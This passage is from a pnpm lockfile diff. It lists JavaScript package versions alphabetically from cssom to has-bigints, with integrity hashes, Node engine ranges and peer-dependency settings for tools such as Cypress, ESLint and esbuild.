sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==} + engines: {node: '>=4'} + hasBin: true + + cssom@0.3.8: + resolution: {integrity: sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==} + + cssom@0.5.0: + resolution: {integrity: sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==} + + cssstyle@2.3.0: + resolution: {integrity: sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==} + engines: {node: '>=8'} + + csstype@3.1.3: + resolution: {integrity: sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==} + + cypress@12.17.4: + resolution: {integrity: sha512-gAN8Pmns9MA5eCDFSDJXWKUpaL3IDd89N9TtIupjYnzLSmlpVr+ZR+vb4U/qaMp+lB6tBvAmt7504c3Z4RU5KQ==} + engines: {node: ^14.0.0 || ^16.0.0 || >=18.0.0} + hasBin: true + + dashdash@1.14.1: + resolution: {integrity: sha512-jRFi8UDGo6j+odZiEpjazZaWqEal3w/basFjQHQEwVtZJGDpxbH1MeYluwCS8Xq5wmLJooDlMgvVarmWfGM44g==} + engines: {node: '>=0.10'} + + data-urls@3.0.2: + resolution: {integrity: sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==} + engines: {node: '>=12'} + + data-view-buffer@1.0.1: + resolution: {integrity: sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA==} + engines: {node: '>= 0.4'} + + data-view-byte-length@1.0.1: + resolution: {integrity: sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ==} + engines: {node: '>= 0.4'} + + data-view-byte-offset@1.0.0: + resolution: {integrity: sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA==} + engines: {node: '>= 0.4'} + + dayjs@1.11.13: + resolution: {integrity: sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg==} + + de-indent@1.0.2: + resolution: {integrity: sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg==} + + debug@3.2.7: + resolution: {integrity: sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + debug@4.3.4: + resolution: {integrity: sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + debug@4.3.7: + resolution: {integrity: sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + decimal.js@10.4.3: + resolution: {integrity: sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA==} + + deep-eql@4.1.4: + resolution: {integrity: sha512-SUwdGfqdKOwxCPeVYjwSyRpJ7Z+fhpwIAtmCUdZIWZ/YP5R9WAsyuSgpLVDi9bjWoN2LXHNss/dk3urXtdQxGg==} + engines: {node: '>=6'} + + deep-is@0.1.4: + resolution: {integrity: sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==} + + define-data-property@1.1.4: + resolution: {integrity: sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==} + engines: {node: '>= 0.4'} + + define-properties@1.2.1: + resolution: {integrity: sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==} + engines: {node: '>= 0.4'} + + delayed-stream@1.0.0: + resolution: {integrity: sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==} + engines: {node: '>=0.4.0'} + + dir-glob@3.0.1: + resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==} + engines: {node: '>=8'} + + doctrine@3.0.0: + resolution: {integrity: sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==} + engines: {node: '>=6.0.0'} + + domexception@4.0.0: + resolution: {integrity: sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==} + engines: {node: '>=12'} + deprecated: Use your platform's native DOMException instead + + duplexer@0.1.2: + resolution: {integrity: sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==} + + eastasianwidth@0.2.0: + resolution: {integrity: sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==} + + ecc-jsbn@0.1.2: + resolution: {integrity: sha512-eh9O+hwRHNbG4BLTjEl3nw044CkGm5X6LoaCf7LPp7UU8Qrt47JYNi6nPX8xjW97TKGKm1ouctg0QSpZe9qrnw==} + + editorconfig@1.0.4: + resolution: {integrity: sha512-L9Qe08KWTlqYMVvMcTIvMAdl1cDUubzRNYL+WfA4bLDMHe4nemKkpmYzkznE1FwLKu0EEmy6obgQKzMJrg4x9Q==} + engines: {node: '>=14'} + hasBin: true + + emoji-regex@8.0.0: + resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} + + emoji-regex@9.2.2: + resolution: {integrity: sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==} + + end-of-stream@1.4.4: + resolution: {integrity: sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==} + + engine.io-client@6.6.3: + resolution: {integrity: sha512-T0iLjnyNWahNyv/lcjS2y4oE358tVS/SYQNxYXGAJ9/GLgH4VCvOQ/mhTjqU88mLZCQgiG8RIegFHYCdVC+j5w==} + + engine.io-parser@5.2.3: + resolution: {integrity: sha512-HqD3yTBfnBxIrbnM1DoD6Pcq8NECnh8d4As1Qgh0z5Gg3jRRIqijury0CL3ghu/edArpUYiYqQiDUQBIs4np3Q==} + engines: {node: '>=10.0.0'} + + enquirer@2.4.1: + resolution: {integrity: sha512-rRqJg/6gd538VHvR3PSrdRBb/1Vy2YfzHqzvbhGIQpDRKIa4FgV/54b5Q1xYSxOOwKvjXweS26E0Q+nAMwp2pQ==} + engines: {node: '>=8.6'} + + entities@4.5.0: + resolution: {integrity: sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==} + engines: {node: '>=0.12'} + + error-ex@1.3.2: + resolution: {integrity: sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==} + + es-abstract@1.23.3: + resolution: {integrity: sha512-e+HfNH61Bj1X9/jLc5v1owaLYuHdeHHSQlkhCBiTK8rBvKaULl/beGMxwrMXjpYrv4pz22BlY570vVePA2ho4A==} + engines: {node: '>= 0.4'} + + es-define-property@1.0.0: + resolution: {integrity: sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==} + engines: {node: '>= 0.4'} + + es-errors@1.3.0: + resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==} + engines: {node: '>= 0.4'} + + es-object-atoms@1.0.0: + resolution: {integrity: sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw==} + engines: {node: '>= 0.4'} + + es-set-tostringtag@2.0.3: + resolution: {integrity: sha512-3T8uNMC3OQTHkFUsFq8r/BwAXLHvU/9O9mE0fBc/MY5iq/8H7ncvO947LmYA6ldWw9Uh8Yhf25zu6n7nML5QWQ==} + engines: {node: '>= 0.4'} + + es-to-primitive@1.2.1: + resolution: {integrity: sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==} + engines: {node: '>= 0.4'} + + esbuild@0.18.20: + resolution: {integrity: sha512-ceqxoedUrcayh7Y7ZX6NdbbDzGROiyVBgC4PriJThBKSVPWnnFHZAkfI1lJT8QFkOwH4qOS2SJkS4wvpGl8BpA==} + engines: {node: '>=12'} + hasBin: true + + escape-string-regexp@1.0.5: + resolution: {integrity: sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==} + engines: {node: '>=0.8.0'} + + escape-string-regexp@4.0.0: + resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==} + engines: {node: '>=10'} + + escodegen@2.1.0: + resolution: {integrity: sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==} + engines: {node: '>=6.0'} + hasBin: true + + eslint-config-prettier@8.10.0: + resolution: {integrity: sha512-SM8AMJdeQqRYT9O9zguiruQZaN7+z+E4eAP9oiLNGKMtomwaB1E9dcgUD6ZAn/eQAb52USbvezbiljfZUhbJcg==} + hasBin: true + peerDependencies: + eslint: '>=7.0.0' + + eslint-plugin-cypress@2.15.2: + resolution: {integrity: sha512-CtcFEQTDKyftpI22FVGpx8bkpKyYXBlNge6zSo0pl5/qJvBAnzaD76Vu2AsP16d6mTj478Ldn2mhgrWV+Xr0vQ==} + peerDependencies: + eslint: '>= 3.2.1' + + eslint-plugin-prettier@4.2.1: + resolution: {integrity: sha512-f/0rXLXUt0oFYs8ra4w49wYZBG5GKZpAYsJSm6rnYL5uVDjd+zowwMwVZHnAjf4edNrKpCDYfXDgmRE/Ak7QyQ==} + engines: {node: '>=12.0.0'} + peerDependencies: + eslint: '>=7.28.0' + eslint-config-prettier: '*' + prettier: '>=2.0.0' + peerDependenciesMeta: + eslint-config-prettier: + optional: true + + eslint-plugin-vue@9.28.0: + resolution: {integrity: sha512-ShrihdjIhOTxs+MfWun6oJWuk+g/LAhN+CiuOl/jjkG3l0F2AuK5NMTaWqyvBgkFtpYmyks6P4603mLmhNJW8g==} + engines: {node: ^14.17.0 || >=16.0.0} + peerDependencies: + eslint: ^6.2.0 || ^7.0.0 || ^8.0.0 || ^9.0.0 + + eslint-scope@5.1.1: + resolution: {integrity: sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==} + engines: {node: '>=8.0.0'} + + eslint-scope@7.2.2: + resolution: {integrity: sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + eslint-visitor-keys@3.4.3: + resolution: {integrity: sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + eslint@8.57.0: + resolution: {integrity: sha512-dZ6+mexnaTIbSBZWgou51U6OmzIhYM2VcNdtiTtI7qPNZm35Akpr0f6vtw3w1Kmn5PYo+tZVfh13WrhpS6oLqQ==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + hasBin: true + + espree@9.6.1: + resolution: {integrity: sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + esprima@4.0.1: + resolution: {integrity: sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==} + engines: {node: '>=4'} + hasBin: true + + esquery@1.6.0: + resolution: {integrity: sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==} + engines: {node: '>=0.10'} + + esrecurse@4.3.0: + resolution: {integrity: sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==} + engines: {node: '>=4.0'} + + estraverse@4.3.0: + resolution: {integrity: sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==} + engines: {node: '>=4.0'} + + estraverse@5.3.0: + resolution: {integrity: sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==} + engines: {node: '>=4.0'} + + estree-walker@2.0.2: + resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==} + + esutils@2.0.3: + resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==} + engines: {node: '>=0.10.0'} + + event-stream@3.3.4: + resolution: {integrity: sha512-QHpkERcGsR0T7Qm3HNJSyXKEEj8AHNxkY3PK8TS2KJvQ7NiSHe3DDpwVKKtoYprL/AreyzFBeIkBIWChAqn60g==} + + event-target-shim@5.0.1: + resolution: {integrity: sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==} + engines: {node: '>=6'} + + eventemitter2@6.4.7: + resolution: {integrity: sha512-tYUSVOGeQPKt/eC1ABfhHy5Xd96N3oIijJvN3O9+TsC28T5V9yX9oEfEK5faP0EFSNVOG97qtAS68GBrQB2hDg==} + + events@3.3.0: + resolution: {integrity: sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==} + engines: {node: '>=0.8.x'} + + execa@4.1.0: + resolution: {integrity: sha512-j5W0//W7f8UxAn8hXVnwG8tLwdiUy4FJLcSupCg6maBYZDpyBvTApK7KyuI4bKj8KOh1r2YH+6ucuYtJv1bTZA==} + engines: {node: '>=10'} + + execa@5.1.1: + resolution: {integrity: sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==} + engines: {node: '>=10'} + + executable@4.1.1: + resolution: {integrity: sha512-8iA79xD3uAch729dUG8xaaBBFGaEa0wdD2VkYLFHwlqosEj/jT66AzcreRDSgV7ehnNLBW2WR5jIXwGKjVdTLg==} + engines: {node: '>=4'} + + extend@3.0.2: + resolution: {integrity: sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==} + + extract-zip@2.0.1: + resolution: {integrity: sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==} + engines: {node: '>= 10.17.0'} + hasBin: true + + extsprintf@1.3.0: + resolution: {integrity: sha512-11Ndz7Nv+mvAC1j0ktTa7fAb0vLyGGX+rMHNBYQviQDGU0Hw7lhctJANqbPhu9nV9/izT/IntTgZ7Im/9LJs9g==} + engines: {'0': node >=0.6.0} + + fast-deep-equal@3.1.3: + resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} + + fast-diff@1.3.0: + resolution: {integrity: sha512-VxPP4NqbUjj6MaAOafWeUn2cXWLcCtljklUtZf0Ind4XQ+QPtmA0b18zZy0jIQx+ExRVCR/ZQpBmik5lXshNsw==} + + fast-fifo@1.3.2: + resolution: {integrity: sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==} + + fast-glob@3.3.2: + resolution: {integrity: sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==} + engines: {node: '>=8.6.0'} + + fast-json-stable-stringify@2.1.0: + resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==} + + fast-levenshtein@2.0.6: + resolution: {integrity: sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==} + + fastq@1.17.1: + resolution: {integrity: sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==} + + fd-slicer@1.1.0: + resolution: {integrity: sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g==} + + figures@3.2.0: + resolution: {integrity: sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==} + engines: {node: '>=8'} + + file-entry-cache@6.0.1: + resolution: {integrity: sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==} + engines: {node: ^10.12.0 || >=12.0.0} + + fill-range@7.1.1: + resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} + engines: {node: '>=8'} + + find-up@5.0.0: + resolution: {integrity: sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==} + engines: {node: '>=10'} + + flat-cache@3.2.0: + resolution: {integrity: sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==} + engines: {node: ^10.12.0 || >=12.0.0} + + flatted@3.3.1: + resolution: {integrity: sha512-X8cqMLLie7KsNUDSdzeN8FYK9rEt4Dt67OsG/DNGnYTSDBG4uFAJFBnUeiV+zCVAvwFy56IjM9sH51jVaEhNxw==} + + follow-redirects@1.15.9: + resolution: {integrity: sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==} + engines: {node: '>=4.0'} + peerDependencies: + debug: '*' + peerDependenciesMeta: + debug: + optional: true + + for-each@0.3.3: + resolution: {integrity: sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==} + + foreground-child@3.3.0: + resolution: {integrity: sha512-Ld2g8rrAyMYFXBhEqMz8ZAHBi4J4uS1i/CxGMDnjyFWddMXLVcDp051DZfu+t7+ab7Wv6SMqpWmyFIj5UbfFvg==} + engines: {node: '>=14'} + + forever-agent@0.6.1: + resolution: {integrity: sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==} + + form-data@2.3.3: + resolution: {integrity: sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==} + engines: {node: '>= 0.12'} + + form-data@4.0.0: + resolution: {integrity: sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==} + engines: {node: '>= 6'} + + from@0.1.7: + resolution: {integrity: sha512-twe20eF1OxVxp/ML/kq2p1uc6KvFK/+vs8WjEbeKmV2He22MKm7YF2ANIt+EOqhJ5L3K/SuuPhk0hWQDjOM23g==} + + fs-extra@9.1.0: + resolution: {integrity: sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==} + engines: {node: '>=10'} + + fs.realpath@1.0.0: + resolution: {integrity: sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==} + + fsevents@2.3.3: + resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + + function-bind@1.1.2: + resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} + + function.prototype.name@1.1.6: + resolution: {integrity: sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg==} + engines: {node: '>= 0.4'} + + functions-have-names@1.2.3: + resolution: {integrity: sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==} + + get-func-name@2.0.2: + resolution: {integrity: sha512-8vXOvuE167CtIc3OyItco7N/dpRtBbYOsPsXCz7X/PMnlGjYjSGuZJgM1Y7mmew7BKf9BqvLX2tnOVy1BBUsxQ==} + + get-intrinsic@1.2.4: + resolution: {integrity: sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==} + engines: {node: '>= 0.4'} + + get-stream@5.2.0: + resolution: {integrity: sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==} + engines: {node: '>=8'} + + get-stream@6.0.1: + resolution: {integrity: sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==} + engines: {node: '>=10'} + + get-symbol-description@1.0.2: + resolution: {integrity: sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg==} + engines: {node: '>= 0.4'} + + getos@3.2.1: + resolution: {integrity: sha512-U56CfOK17OKgTVqozZjUKNdkfEv6jk5WISBJ8SHoagjE6L69zOwl3Z+O8myjY9MEW3i2HPWQBt/LTbCgcC973Q==} + + getpass@0.1.7: + resolution: {integrity: sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng==} + + glob-parent@5.1.2: + resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} + engines: {node: '>= 6'} + + glob-parent@6.0.2: + resolution: {integrity: sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==} + engines: {node: '>=10.13.0'} + + glob@10.4.5: + resolution: {integrity: sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==} + hasBin: true + + glob@7.2.3: + resolution: {integrity: sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==} + deprecated: Glob versions prior to v9 are no longer supported + + global-dirs@3.0.1: + resolution: {integrity: sha512-NBcGGFbBA9s1VzD41QXDG+3++t9Mn5t1FpLdhESY6oKY4gYTFpX4wO3sqGUa0Srjtbfj3szX0RnemmrVRUdULA==} + engines: {node: '>=10'} + + globals@13.24.0: + resolution: {integrity: sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==} + engines: {node: '>=8'} + + globalthis@1.0.4: + resolution: {integrity: sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==} + engines: {node: '>= 0.4'} + + globby@11.1.0: + resolution: {integrity: sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==} + engines: {node: '>=10'} + + gopd@1.0.1: + resolution: {integrity: sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==} + + graceful-fs@4.2.11: + resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} + + graphemer@1.4.0: + resolution: {integrity: sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==} + + has-bigints@1.0.2: + resolution: {integrity: 